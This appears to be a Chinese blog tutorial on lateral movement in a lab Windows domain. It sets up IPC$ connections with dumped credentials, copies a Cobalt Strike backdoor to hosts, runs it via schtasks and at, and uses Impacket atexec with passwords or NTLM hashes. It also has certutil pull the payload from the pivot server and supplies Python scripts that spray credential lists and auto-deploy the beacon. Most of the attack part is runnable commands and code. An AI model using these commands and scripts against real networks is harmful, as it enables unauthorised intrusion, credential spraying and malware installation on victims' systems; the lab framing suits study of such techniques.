内网渗透—横向移动&IPC横移&Impacket套件&CS插件

前言

前面基本把隧道的知识都讲完了,现在讲一下横向移动的知识。那什么是横向移动,假如我们现在已经获取了web服务器的控制权,那么此时我们通过web服务器去获得其它内网主机的一个权限就叫横向移动。横向移动在内网渗透中也是很重要的,结合前面的隧道一起使用往往有出其不意的效果。

实验环境

简单搭建了一个域环境,只有web服务器才是出网的,其它的内网主机包括DC都是不出网的。这里的不出网是指连百度百度都ping不通,而不是封杀了tcp协议。

web服务器:192.168.145.138,192.168.22.31
DC域控:191.168.22.30
内网主机1:192.168.22.28
内网主机2:192.168.22.29

内网信息收集

因为我们讲的是内网横移的知识,所有这里默认取得web服务器权限了,也就是上线到CS了,下面对其内网进行一波信息收集。

对网段信息进行一个探测,发现有个22网段估计是内网。

再判断一下是否有域,正常返回说明存在域环境,且域控的计算机名字为DC.god.local。

net time /domain

进行端口扫描,网段选我们的内网网段。端口随便搞一个,主要是探测一下内网主机的ip。

到目标列表中我们可以看到存在的内网主机ip,31是我们的web服务器。

IPC横移

IPC(Internet Process Connection)共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,利用条件是目标主机得开启了135、445端口才行。先把web服务器提权到system。

然后抓取明文密码,在密码凭证可以看到我们抓取的密码。

IPC横移首先要建立IPC连接,这里你可以输入命令来建立,也可以直接用CS的插件,都是一样的。插件的话就直接输入目标主机的ip和账号密码就行,这个账号密码就是我们刚刚抓取的。

命令横移,其实都是一样的,使用插件的话也是通过执行命令来达到横移的。

建立IPC连接:
net use \\191.168.22.30\ipc$ "#Root123" /user:"administrator"
查看连接是否建立:
net use
断开连接:
net use \\x.x.x.x\ipc$ /del

正向连接上线CS

现在我们成功与30主机建立了IPC连接,该如何让它上线到我们的CS。我们可以生成一个正向的后门,然后通过我们的web服务器去连接它,以此来达到上线CS的目的。先把后门上传到web服务器,输入命令成功上传到当前目录。

upload C:\Users\user\Desktop\2222.exe

通过IPC连接,把我们的后门传输到30主机C盘中。

copy 2222.exe \\192.168.22.30\c$

schtasks命令创建定时任务

创建计划任务(windows版本<2012用at命令、Windows版本>=2012用schtasks),30主机系统版本大于windows2012,用这个命令创建任务。

//创建一个运行2222.exe名为test的任务
schtasks /create /s 192.168.22.30 /ru "SYSTEM" /tn test /sc DAILY /tr c:\2222.exe /F

然后出现了这个问题,查了一下说是由于权限不够???但是我都提权到system了,为啥还会权限不够,有懂的大佬可以和我说一下么。

我干脆直接到web服务器上面去执行命令了,只要懂这个方法就好。以管理员身份运行一个cmd,居然可以执行,太奇怪了。

我心不死,我又试了试下面这个命令。居然又可以了,这和上面的命令不是一样的嘛,太奇怪了。

schtasks /create /s 192.168.3.32 /U administrator /P Admin12345 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\bindtcp-2222.exe /F

接下来是运行任务,到30主机上面看看进程,发现确实运行了。

schtasks /U administrator /P #Root123 /run /s 192.168.22.30 /tn test /i

输入命令连接即可上线CS,如果没上线的话,大概率是端口问题。

connect 192.168.22.30 2222

at命令创建定时任务

29这台主机版本小于2012,我们用at命令创建一个定时任务,IPC建立连接和后门传输我就跳过了。先查看29主机的时间,方便我们添加定时任务。

net time \\192.168.22.29

添加定时任务,这里奇怪的问题又来了,在CS上执行命令又显示拒绝访问,明明我都是system权限了。我还是直接到web服务器上面执行命令,又可以了,逆天环境。

at \\192.168.22.29 21:53 c:\2222.exe //53分的时候运行2222.exe

等到54分的时候我们查看一下29主机的进程,成功运行我们的后门。

接下来就是输入命令连接即可上线CS。

connect 192.168.22.29 2222

反向连接上线CS

正向上线说完了,简单说一下反向上线。假如我们要让30主机反向上线到CS,那么反向连接到谁呢,是web服务器还是CS服务端。答案肯定是反向连接到web服务器啦,CS服务端虽然在公网,但是30是不出网的呀牢弟,不出网咋找得到CS服务端。web服务器开启转发上线,生成监听器。

利用这个监听器生成后门,建立IPC连接->传输后门->添加定时任务这些就不说了。把后门弄到30主机上,然后运行即可看到上线CS。

Impacket套件

该工具是一个半交互的工具,适用于Webshell下,Socks代理下。在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试。简单来说就是这个套件包含有很多横移的脚本以及程序,比如当我们需要IPC横移的时候,可以用直接利用脚本自动化建立连接,然后自动上线啥的。就不要我们一条一条命令地敲,适用于对方具有庞大的内网结构。这个工具分为py版和exe版。

py版:Releases · fortra/impacket · GitHub

exe版:RichChigga/impacket-examples-windows (gitee.com)

exe版使用

exe版的话就是要上传到目标主机才能使用,就比如说你想通过web服务器和30主机建立IPC连接,你就得把exe上传到web服务器。但是在现实中这个显然是不太可能的,因为exe有5MB左右太大了,别人一眼就发现了。这里就演示一下,先上传到web服务器。

直接执行命令whoami,成功返回结果。

atexec.exe god/administrator:#Admin123@192.168.22.30 “whoami”  //以域用户去连接
atexec.exe ./administrator:#Admin123@192.168.22.30 “whoami”  //以对方本地用户去连接

在CS上执行也是一样的。

不仅支持明文连接还支持hash连接。

atexec.exe -hashes :ae7cb5a96c2a31d4c66be99737f48f8c god/administrator@192.168.22.30 "whoami"

既然都能执行命令了,那我们执行用命令下载个后门不就行了。先生成命令,这个2222就是前面我们生成的正向后门。

CS执行命令。

atexec.exe god/administrator:#Root123@192.168.22.30 "certutil.exe -urlcache -split -f http://192.168.22.31:80/2222.exe 2222.exe"

直接到30主机的system32目录看看,发现后门已经下载成功。

然后执行我们的后门,默认是在system32目录下面的。

shell atexec.exe god/administrator:#Root123@192.168.22.30 ".\2222.exe"

再在web服务器连接30主机即可上线CS。

py版使用

py脚本的话就比较小,适合上传到目标主机上去运行。但是对方主机得有py环境才行,你不可能又到对方主机上面安装py环境吧。这咋办,前面学的隧道知识就可以用起来啦。假如我们要控制30主机,那我们直接在web服务器开个socks代理,然后本地挂上proxifier不就可以成功访问30啦。

挂上proxifier之后浏览器访问一下看看,成功访问到30。

使用脚本建立连接试一下,也是成功了。

atexec.py god/administrator:#Root123@192.168.22.30 "whoami"

这里有人可能会有疑惑,万一对面内网有大量的账号密码,一个一个去试试,太慢啦咋办。这个简单嘛,你直接写个py脚本让自动跑命令不就行了。

import os
ip = ['192.168.22.30','192.168.22,29','192.168.22.28']
user = ['wlwnb666','administrator','weige']
passwd = ['#Root123','#Admin123','#123Admin']

for ipp in ip:
    for userr in user:
        for passwdd in passwd:
            ipc_exec = 'D:\内网穿透\impacket-0.11.0\examples\\atexec.py god/%s:%s@%s "whoami"'%(userr,passwdd,ipp)
            os.system(ipc_exec)
            print(ipc_exec)

执行脚本,要是账号密码对了便会返回命令执行的结果,这样子我们就可以知道哪台主机对应哪个账号密码啦。

也可以利用脚本实现自动化上线,把原来脚本上的命令换一下即可。运行脚本之后,就会自动上线CS。

import os
ip = ['192.168.22.30','192.168.22,29','192.168.22.28']
user = ['wlwnb666','administrator','weige']
passwd = ['#Root123','#Admin123','#123Admin']


for ipp in ip:
    for userr in user:
        for passwdd in passwd:
            ipc_exec1 = 'python D:\内网穿透\impacket-0.11.0\examples\\atexec.py god/%s:%s@%s "certutil.exe -urlcache -split -f http://192.168.22.31:80/2222.exe 2222.exe"'%(userr,passwdd,ipp)
            ipc_exec2 = 'python D:\内网穿透\impacket-0.11.0\examples\\atexec.py god/%s:%s@%s ".\\2222.exe"' % (userr, passwdd, ipp)
            print(ipc_exec1)
            print(ipc_exec2)
            os.system(ipc_exec1)
            os.system(ipc_exec2)

总结

以上便是IPC横移的知识。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值